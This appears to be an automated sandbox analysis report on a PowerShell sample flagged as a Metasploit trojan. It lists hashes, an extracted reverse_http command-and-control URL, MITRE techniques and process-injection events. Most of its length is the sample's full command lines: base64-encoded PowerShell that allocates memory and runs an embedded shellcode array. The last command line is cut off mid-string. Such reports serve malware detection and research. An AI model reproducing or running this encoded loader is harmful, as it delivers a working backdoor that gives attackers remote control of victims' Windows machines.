metasploit | 405f7c89ba1cfa0a548c40dff89d003a06d6ad6fa8fa50bcd37f83cfc9bfa431

General

Target

ps1004.ps1
Size

8KB
MD5

1195ad87cfc060272b60133c613b928e
SHA1

d6325814107fd10ba6f63a11ecb5b796553b291b
SHA256

405f7c89ba1cfa0a548c40dff89d003a06d6ad6fa8fa50bcd37f83cfc9bfa431
SHA512

f0609f25c9c95cb6ec6419e6c93332731a621243a02416c4f15b0edcbf7ffc12382c08cd5a65a9fc765b62cb2e8967ca7edee027e726b061d139615588489199
SSDEEP

96:zCTRX/T7Dh9pPKZT3Aasj0AwCATxuc23s5GeaWy7V1Xf4ymxtgqkfuaMk09clOm:zaF7Dh/PO3AaI2LxUlC5xtgqkfhMzcOm

Score

10^/10

metasploit backdoor discovery execution trojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

windows/reverse_http

C2

http://192.168.18.129:8080/UY2jjW-iTdaTLZIs9Bq1pQ1u1z9L8

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4232	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4232	powershell.exe
4232	powershell.exe
4536	powershell.exe
4536	powershell.exe
4608	powershell.exe
4608	powershell.exe
5076	powershell.exe
5076	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4232 wrote to memory of 4536	4232	powershell.exe	84
PID 4232 wrote to memory of 4536	4232	powershell.exe	84
PID 4536 wrote to memory of 4608	4536	powershell.exe	85
PID 4536 wrote to memory of 4608	4536	powershell.exe	85
PID 4608 wrote to memory of 5076	4608	powershell.exe	88
PID 4608 wrote to memory of 5076	4608	powershell.exe	88
PID 4608 wrote to memory of 5076	4608	powershell.exe	88
PID 5076 wrote to memory of 1928	5076	powershell.exe	92
PID 5076 wrote to memory of 1928	5076	powershell.exe	92
PID 5076 wrote to memory of 1928	5076	powershell.exe	92
PID 1928 wrote to memory of 448	1928	csc.exe	93
PID 1928 wrote to memory of 448	1928	csc.exe	93
PID 1928 wrote to memory of 448	1928	csc.exe	93

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ps1004.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -C "sv FDG -;sv Q ec;sv ZzY ((gv FDG).value.toString()+(gv Q).value.toString());powershell (gv ZzY).value.toString() 'JABGAHMAcwAgAD0AIAAnACQAcwB1AGsAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwAQQBsAGwAbwBjAGEAdABpAG8AbgBUAHkAcABlACwAIAB1AGkAbgB0ACAAZgBsAFAAcgBvAHQAZQBjAHQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwAIAB1AGkAbgB0ACAAZAB3AFMAdABhAGMAawBTAGkAegBlACwAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAgAHUAaQBuAHQAIABkAHcAQwByAGUAYQB0AGkAbwBuAEYAbABhAGcAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBtAHMAdgBjAHIAdAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAbQBlAG0AcwBlAHQAKABJAG4AdABQAHQAcgAgAGQAZQBzAHQALAAgAHUAaQBuAHQAIABzAHIAYwAsACAAdQBpAG4AdAAgAGMAbwB1AG4AdAApADsAJwAnADsAJAB3ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAcwB1AGsAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZABiACwAMAB4AGQANQAsADAAeABiAGEALAAwAHgANAA3ACwAMAB4ADUAZgAsADAAeAA3ADkALAAwAHgANgA3ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGUALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANgAzACwAMAB4ADgAMwAsADAAeABlAGUALAAwAHgAZgBjACwAMAB4ADMAMQAsADAAeAA1ADYALAAwAHgAMQA2ACwAMAB4ADAAMwAsADAAeAA1ADYALAAwAHgAMQA2ACwAMAB4AGUAMgAsADAAeABiADIALAAwAHgAYQAzACwAMAB4ADkAMQAsADAAeABlADgALAAwAHgAMwBjACwAMAB4ADUAYwAsADAAeAA2ADIALAAwAHgAOQA3ACwAMAB4ADAAZAAsADAAeAA4AGUALAAwAHgAMAA2ACwAMAB4AGQAYwAsADAAeAAzAGYALAAwAHgAMQBlACwAMAB4ADQAYwAsADAAeABiADAALAAwAHgAYgAzACwAMAB4AGQANQAsADAAeAAwADAALAAwAHgAMgAxACwAMAB4ADQAMgAsADAAeAAwAGMALAAwAHgAOQA1ACwAMAB4AGIANgAsADAAeABkAGYALAAwAHgAYgBkACwAMAB4AGYAZQAsADAAeAA0ADcALAAwAHgANgA4ACwAMAB4ADAAYgAsADAAeABkADkALAAwAHgANgA2ACwAMAB4ADUANgAsADAAeAAyADAALAAwAHgAMQA5ACwAMAB4AGUAOAAsADAAeAAyAGEALAAwAHgAMwBiACwAMAB4ADQAZQAsADAAeABjAGEALAAwAHgAMQAzACwAMAB4AGYANAAsADAAeAA4ADMALAAwAHgAMABiACwAMAB4ADUANAAsADAAeAA0ADIALAAwAHgAZQA5ACwAMAB4AGUANAAsADAAeAAwADgALAAwAHgAMAAyACwAMAB4ADkAYQAsADAAeABhADkALAAwAHgAYgBjACwAMAB4ADIANwAsADAAeABkAGUALAAwAHgANwAxACwAMAB4AGIAZAAsADAAeABlADcALAAwAHgANQA0ACwAMAB4AGMAOQAsADAAeABjADUALAAwAHgAOAAyACwAMAB4AGEAYgAsADAAeABiAGUALAAwAHgANwA5ACwAMAB4ADgAYwAsADAAeABmAGIALAAwAHgANgBmACwAMAB4ADAAYQAsADAAeABjADYALAAwAHgAZQAzACwAMAB4ADAANAAsADAAeAA1ADQALAAwAHgAZgA3ACwAMAB4ADEAMgAsADAAeABjADgALAAwAHgAZQAxACwAMAB4ADMAZQAsADAAeAA2ADAALAAwAHgAZAAyACwAMAB4AGEAMAAsADAAeAA0AGIALAAwAHgAYgBkACwAMAB4AGEAMQAsADAAeAAwADMALAAwAHgAYgAzACwAMAB4AGIAZgAsADAAeAA2ADMALAAwAHgANQAyACwAMAB4ADgAYgAsADAAeAAwADEALAAwAHgANAA0ACwAMAB4ADkAOQAsADAAeABhADcALAAwAHgAOAAzACwAMAB4ADkAYwAsADAAeAA5ADkALAAwAHgANQA3ACwAMAB4AGYANgAsADAAeABkADYALAAwAHgAZABhACwAMAB4AGUAYQAsADAAeAAwADEALAAwAHgAMgBkACwAMAB4AGEAMQAsADAAeAAzADAALAAwAHgAOAA3ACwAMAB4AGIAMgAsADAAeAAwADEALAAwAHgAYgAyACwAMAB4ADMAZgAsADAAeAAxADcALAAwAHgAYgAwACwAMAB4ADEANwAsADAAeABkADkALAAwAHgAZABjACwAMAB4AGIAZQAsADAAeABkAGMALAAwAHgAYQBkACwAMAB4AGIAYgAsADAAeABhADIALAAwAHgAZQAzACwAMAB4ADYAMgAsADAAeABiADAALAAwAHgAZABlACwAMAB4ADYAOAAsADAAeAA4ADUALAAwAHgAMQA3ACwAMAB4ADUANwAsADAAeAAyAGEALAAwAHgAYQAyACwAMAB4AGIAMwAsADAAeAAzAGMALAAwAHgAZQA4ACwAMAB4AGMAYgAsADAAeABlADIALAAwAHgAOQA4ACwAMAB4ADUAZgAsADAAeABmADMALAAwAHgAZgA1ACwAMAB4ADQANAAsADAAeAAzAGYALAAwAHgANQAxACwAMAB4ADcAZAAsADAAeAA2ADYALAAwAHgANQA2ACwAMAB4AGUANQAsADAAeAA3AGUALAAwAHgANwA5ACwAMAB4ADUANwAsADAAeABiAGIALAAwAHgAZQA4ACwAMAB4AGUAYgAsADAAeABjAGQALAAwAHgAMwAwACwAMAB4AGUAOQAsADAAeAA5AGIALAAwAHgANwBhACwAMAB4AGQAMAAsADAAeAA4ADcALAAwAHgAMwAyACwAMAB4AGQAMQAsADAAeAA0AGEALAAwAHgAMQA0ACwAMAB4AGIAMwAsADAAeABmAGYALAAwAHgAOABkACwAMAB4ADUAYgAsADAAeABlAGUALAAwAHgAMwAxACwAMAB4ADQAOQAsADAAeABmADAALAAwAHgANAAzACwAMAB4ADYAMQAsADAAeAAzAGUALAAwAHgAYQA0ACwAMAB4ADAAYgAsADAAeABiAGYALAAwAHgAOQA2ACwAMAB4ADMAMwAsADAAeAA2AGMALAAwAHgANAAwACwAMAB4AGMAMwAsADAAeAA5ADcALAAwAHgAMgAxACwAMAB4AGQANQAsADAAeABlAGYALAAwAHgANAA0ACwAMAB4ADkANgAsADAAeAA0ADEALAAwAHgANgAwACwAMAB4ADcANQAsADAAeAAxADgALAAwAHgAOQAyACwAMAB4ADYAOAAsADAAeAAzAGEALAAwAHgAMQA4ACwAMAB4ADkAMgAsADAAeAA2ADgALAAwAHgAMQA0ACwAMAB4ADQAZAAsADAAeABjAGIALAAwAHgANQBhACwAMAB4ADAAMAAsADAAeAAwADcALAAwAHgAYgBjACwAMAB4AGIANwAsADAAeABiAGQALAAwAHgAOAAzACwAMAB4ADIANgAsADAAeABhADkALAAwAHgANgA5ACwAMAB4ADYANwAsADAAeABmAGQALAAwAHgANgAwACwAMAB4AGUAMQAsADAAeAA0AGUALAAwAHgANAAzACwAMAB4ADAAMgAsADAAeAAzADQALAAwAHgAYwAwACwAMAB4ADEAMgAsADAAeABkADUALAAwAHgANAAzACwAMAB4ADEAMQAsADAAeABlAGYALAAwAHgAMgBjACwAMAB4AGUAMAAsADAAeAA2ADkALAAwAHgAMABmACwAMAB4ADEAZgAsADAAeAA5ADAALAAwAHgAZABlACwAMAB4ADgANgAsADAAeAAwADAALAAwAHgAYQA2ACwAMAB4ADEAZgAsADAAeAA0AGQALAAwAHgAYgA3ACwAMAB4AGUAMQAsADAAeAA4AGMALAAwAHgAMAA2ACwAMAB4AGMAOAAsADAAeABkAGYALAAwAHgAZABhACwAMAB4ADUAMwAsADAAeAA5AGIALAAwAHgANABjACwAMAB4ADQAOQAsADAAeAAwAGIALAAwAHgANABmACwAMAB4ADIANQAsADAAeAAwADUALAAwAHgANQA4ACwAMAB4ADMAYQAsADAAeABlADcALAAwAHgAZQBlACwAMAB4ADYAMQAsADAAeAAxADAALAAwAHgANgAxACwAMAB4ADcAYQAsADAAeAA5ADQALAAwAHgAYwA0ACwAMAB4AGUANgAsADAAeABmAGEALAAwAHgAOQBiACwAMAB4AGYAYQAsADAAeABmADYALAAwAHgANwAzACwAMAB4ADMAYgAsADAAeAA5ADAALAAwAHgAZgAyACwAMAB4AGQAMwAsADAAeABkADYALAAwAHgANwBhACwAMAB4AGEAZAAsADAAeABiAGIALAAwAHgANQAzACwAMAB4AGMAMwAsADAAeABjAGYALAAwAHgAYgBkACwAMAB4ADYAMwAsADAAeAAxAGUALAAwAHgAYgBjACwAMAB4ADkAMgAsADAAeABjADgALAAwAHgAZgAyACwAMAB4ADEANQAsADAAeAA3AGMALAAwAHgAYwAyACwAMAB4AGYAMgAsADAAeAA4ADEALAAwAHgAMAA3ACwAMAB4AGUAMwAsADAAeAAyAGUALAAwAHgAMwA0ACwAMAB4ADMANwAsADAAeAA2AGUALAAwAHgAYwA3ACwAMAB4ADUAZgAsADAAeAAzAGYALAAwAHgAOAAyACwAMAB4AGUANwAsADAAeAA5AGYALAAwAHgANQA3ACwAMAB4AGUAMQAsADAAeAAxADcALAAwAHgAYQBhACwAMAB4ADQANwAsADAAeAAxADYALAAwAHgAMAAyACwAMAB4ADkAYQAsADAAeABmADIALAAwAHgAMgA0ACwAMAB4AGMANQAsADAAeABkADUALAAwAHgANAA5ACwAMAB4ADEANAAsADAAeAA0ADAALAAwAHgAZQA5ACwAMAB4ADYANAAsADAAeAAzADMALAAwAHgAMgBkACwAMAB4ADcAZAAsADAAeAA4ADYALAAwAHgAZAA0ACwAMAB4AGEAZAAsADAAeAA3AGQALAAwAHgAZQBlACwAMAB4AGQANAAsADAAeABhAGQALAAwAHgAMwBkACwAMAB4AGUAZQAsADAAeAA4ADcALAAwAHgAYwA1ACwAMAB4AGUANQAsADAAeAA0AGEALAAwAHgANwA0ACwAMAB4AGYAMwAsADAAeABlADkALAAwAHgANAA3ACwAMAB4AGUAOAAsADAAeABhADgALAAwAHgANAA2ACwAMAB4AGUAZQAsADAAeABlADgALAAwAHgAMQA4ACwAMAB4ADAAMQAsADAAeABmADAALAAwAHgAZAA2ACwAMAB4AGEANgAsADAAeABkADEALAAwAHgAYQAzACwAMAB4ADQAMAAsADAAeABjAGYALAAwAHgAYwAzACwAMAB4AGQANQAsADAAeABlADQALAAwAHgAZQBkACwAMAB4ADEAYgAsADAAeAAwAGMALAAwAHgANwAzACwAMAB4ADMAMQAsADAAeAA5ADcALAAwAHgANgAzACwAMAB4AGYANwAsADAAeABiADUALAAwAHgANQA5ACwAMAB4AGIAOAAsADAAeAA4AGQALAAwAHgANwBhACwAMAB4ADIAYwAsADAAeABkAGIALAAwAHgAZAA2ACwAMAB4AGIAOQAsADAAeAA5ADAALAAwAHgAYwBiACwAMAB4ADgAZQAsADAAeABjADIALAAwAHgAZAAwACwAMAB4AGYANAAsADAAeAA2ADAALAAwAHgAMAA0ACwAMAB4ADEAZAAsADAAeAAyADQALAAwAHgAYgAyACwAMAB4ADQAMAAsADAAeAA1ADkALAAwAHgAMQA2ACwAMAB4ADgANQAsADAAeAA5ADQALAAwAHgAYgA3ACwAMAB4ADUANwAsADAAeABkADcALAAwAHgAZABkACwAMAB4AGMANwA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAdQBTAGwAawA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAdQBTAGwAawAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAdQBTAGwAawAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAEYAcwBzACkAKQA7ACQAWgBmAEUAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAZQBXAG0AIAA9ACAAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAIAArACAAIgBcAHMAeQBzAHcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsACIAOwBpAGUAeAAgACIAJgAgACQAZQBXAG0AIAAkAFoAZgBFACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkAFoAZgBFACAAJABlACIAOwB9AA=='"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec JABGAHMAcwAgAD0AIAAnACQAcwB1AGsAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwAQQBsAGwAbwBjAGEAdABpAG8AbgBUAHkAcABlACwAIAB1AGkAbgB0ACAAZgBsAFAAcgBvAHQAZQBjAHQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwAIAB1AGkAbgB0ACAAZAB3AFMAdABhAGMAawBTAGkAegBlACwAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAgAHUAaQBuAHQAIABkAHcAQwByAGUAYQB0AGkAbwBuAEYAbABhAGcAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBtAHMAdgBjAHIAdAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAbQBlAG0AcwBlAHQAKABJAG4AdABQAHQAcgAgAGQAZQBzAHQALAAgAHUAaQBuAHQAIABzAHIAYwAsACAAdQBpAG4AdAAgAGMAbwB1AG4AdAApADsAJwAnADsAJAB3ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAcwB1AGsAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZABiACwAMAB4AGQANQAsADAAeABiAGEALAAwAHgANAA3ACwAMAB4ADUAZgAsADAAeAA3ADkALAAwAHgANgA3ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGUALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANgAzACwAMAB4ADgAMwAsADAAeABlAGUALAAwAHgAZgBjACwAMAB4ADMAMQAsADAAeAA1ADYALAAwAHgAMQA2ACwAMAB4ADAAMwAsADAAeAA1ADYALAAwAHgAMQA2ACwAMAB4AGUAMgAsADAAeABiADIALAAwAHgAYQAzACwAMAB4ADkAMQAsADAAeABlADgALAAwAHgAMwBjACwAMAB4ADUAYwAsADAAeAA2ADIALAAwAHgAOQA3ACwAMAB4ADAAZAAsADAAeAA4AGUALAAwAHgAMAA2ACwAMAB4AGQAYwAsADAAeAAzAGYALAAwAHgAMQBlACwAMAB4ADQAYwAsADAAeABiADAALAAwAHgAYgAzACwAMAB4AGQANQAsADAAeAAwADAALAAwAHgAMgAxACwAMAB4ADQAMgAsADAAeAAwAGMALAAwAHgAOQA1ACwAMAB4AGIANgAsADAAeABkAGYALAAwAHgAYgBkACwAMAB4AGYAZQAsADAAeAA0ADcALAAwAHgANgA4ACwAMAB4ADAAYgAsADAAeABkADkALAAwAHgANgA2ACwAMAB4ADUANgAsADAAeAAyADAALAAwAHgAMQA5ACwAMAB4AGUAOAAsADAAeAAyAGEALAAwAHgAMwBiACwAMAB4ADQAZQAsADAAeABjAGEALAAwAHgAMQAzACwAMAB4AGYANAAsADAAeAA4ADMALAAwAHgAMABiACwAMAB4ADUANAAsADAAeAA0ADIALAAwAHgAZQA5ACwAMAB4AGUANAAsADAAeAAwADgALAAwAHgAMAAyACwAMAB4ADkAYQAsADAAeABhADkALAAwAHgAYgBjACwAMAB4ADIANwAsADAAeABkAGUALAAwAHgANwAxACwAMAB4AGIAZAAsADAAeABlADcALAAwAHgANQA0ACwAMAB4AGMAOQAsADAAeABjADUALAAwAHgAOAAyACwAMAB4AGEAYgAsADAAeABiAGUALAAwAHgANwA5ACwAMAB4ADgAYwAsADAAeABmAGIALAAwAHgANgBmACwAMAB4ADAAYQAsADAAeABjADYALAAwAHgAZQAzACwAMAB4ADAANAAsADAAeAA1ADQALAAwAHgAZgA3ACwAMAB4ADEAMgAsADAAeABjADgALAAwAHgAZQAxACwAMAB4ADMAZQAsADAAeAA2ADAALAAwAHgAZAAyACwAMAB4AGEAMAAsADAAeAA0AGIALAAwAHgAYgBkACwAMAB4AGEAMQAsADAAeAAwADMALAAwAHgAYgAzACwAMAB4AGIAZgAsADAAeAA2ADMALAAwAHgANQAyACwAMAB4ADgAYgAsADAAeAAwADEALAAwAHgANAA0ACwAMAB4ADkAOQAsADAAeABhADcALAAwAHgAOAAzACwAMAB4ADkAYwAsADAAeAA5ADkALAAwAHgANQA3ACwAMAB4AGYANgAsADAAeABkADYALAAwAHgAZABhACwAMAB4AGUAYQAsADAAeAAwADEALAAwAHgAMgBkACwAMAB4AGEAMQAsADAAeAAzADAALAAwAHgAOAA3ACwAMAB4AGIAMgAsADAAeAAwADEALAAwAHgAYgAyACwAMAB4ADMAZgAsADAAeAAxADcALAAwAHgAYgAwACwAMAB4ADEANwAsADAAeABkADkALAAwAHgAZABjACwAMAB4AGIAZQAsADAAeABkAGMALAAwAHgAYQBkACwAMAB4AGIAYgAsADAAeABhADIALAAwAHgAZQAzACwAMAB4ADYAMgAsADAAeABiADAALAAwAHgAZABlACwAMAB4ADYAOAAsADAAeAA4ADUALAAwAHgAMQA3ACwAMAB4ADUANwAsADAAeAAyAGEALAAwAHgAYQAyACwAMAB4AGIAMwAsADAAeAAzAGMALAAwAHgAZQA4ACwAMAB4AGMAYgAsADAAeABlADIALAAwAHgAOQA4ACwAMAB4ADUAZgAsADAAeABmADMALAAwAHgAZgA1ACwAMAB4ADQANAAsADAAeAAzAGYALAAwAHgANQAxACwAMAB4ADcAZAAsADAAeAA2ADYALAAwAHgANQA2ACwAMAB4AGUANQAsADAAeAA3AGUALAAwAHgANwA5ACwAMAB4ADUANwAsADAAeABiAGIALAAwAHgAZQA4ACwAMAB4AGUAYgAsADAAeABjAGQALAAwAHgAMwAwACwAMAB4AGUAOQAsADAAeAA5AGIALAAwAHgANwBhACwAMAB4AGQAMAAsADAAeAA4ADcALAAwAHgAMwAyACwAMAB4AGQAMQAsADAAeAA0AGEALAAwAHgAMQA0ACwAMAB4AGIAMwAsADAAeABmAGYALAAwAHgAOABkACwAMAB4ADUAYgAsADAAeABlAGUALAAwAHgAMwAxACwAMAB4ADQAOQAsADAAeABmADAALAAwAHgANAAzACwAMAB4ADYAMQAsADAAeAAzAGUALAAwAHgAYQA0ACwAMAB4ADAAYgAsADAAeABiAGYALAAwAHgAOQA2ACwAMAB4ADMAMwAsADAAeAA2AGMALAAwAHgANAAwACwAMAB4AGMAMwAsADAAeAA5ADcALAAwAHgAMgAxACwAMAB4AGQANQAsADAAeABlAGYALAAwAHgANAA0ACwAMAB4ADkANgAsADAAeAA0ADEALAAwAHgANgAwACwAMAB4ADcANQAsADAAeAAxADgALAAwAHgAOQAyACwAMAB4ADYAOAAsADAAeAAzAGEALAAwAHgAMQA4ACwAMAB4ADkAMgAsADAAeAA2ADgALAAwAHgAMQA0ACwAMAB4ADQAZAAsADAAeABjAGIALAAwAHgANQBhACwAMAB4ADAAMAAsADAAeAAwADcALAAwAHgAYgBjACwAMAB4AGIANwAsADAAeABiAGQALAAwAHgAOAAzACwAMAB4ADIANgAsADAAeABhADkALAAwAHgANgA5ACwAMAB4ADYANwAsADAAeABmAGQALAAwAHgANgAwACwAMAB4AGUAMQAsADAAeAA0AGUALAAwAHgANAAzACwAMAB4ADAAMgAsADAAeAAzADQALAAwAHgAYwAwACwAMAB4ADEAMgAsADAAeABkADUALAAwAHgANAAzACwAMAB4ADEAMQAsADAAeABlAGYALAAwAHgAMgBjACwAMAB4AGUAMAAsADAAeAA2ADkALAAwAHgAMABmACwAMAB4ADEAZgAsADAAeAA5ADAALAAwAHgAZABlACwAMAB4ADgANgAsADAAeAAwADAALAAwAHgAYQA2ACwAMAB4ADEAZgAsADAAeAA0AGQALAAwAHgAYgA3ACwAMAB4AGUAMQAsADAAeAA4AGMALAAwAHgAMAA2ACwAMAB4AGMAOAAsADAAeABkAGYALAAwAHgAZABhACwAMAB4ADUAMwAsADAAeAA5AGIALAAwAHgANABjACwAMAB4ADQAOQAsADAAeAAwAGIALAAwAHgANABmACwAMAB4ADIANQAsADAAeAAwADUALAAwAHgANQA4ACwAMAB4ADMAYQAsADAAeABlADcALAAwAHgAZQBlACwAMAB4ADYAMQAsADAAeAAxADAALAAwAHgANgAxACwAMAB4ADcAYQAsADAAeAA5ADQALAAwAHgAYwA0ACwAMAB4AGUANgAsADAAeABmAGEALAAwAHgAOQBiACwAMAB4AGYAYQAsADAAeABmADYALAAwAHgANwAzACwAMAB4ADMAYgAsADAAeAA5ADAALAAwAHgAZgAyACwAMAB4AGQAMwAsADAAeABkADYALAAwAHgANwBhACwAMAB4AGEAZAAsADAAeABiAGIALAAwAHgANQAzACwAMAB4AGMAMwAsADAAeABjAGYALAAwAHgAYgBkACwAMAB4ADYAMwAsADAAeAAxAGUALAAwAHgAYgBjACwAMAB4ADkAMgAsADAAeABjADgALAAwAHgAZgAyACwAMAB4ADEANQAsADAAeAA3AGMALAAwAHgAYwAyACwAMAB4AGYAMgAsADAAeAA4ADEALAAwAHgAMAA3ACwAMAB4AGUAMwAsADAAeAAyAGUALAAwAHgAMwA0ACwAMAB4ADMANwAsADAAeAA2AGUALAAwAHgAYwA3ACwAMAB4ADUAZgAsADAAeAAzAGYALAAwAHgAOAAyACwA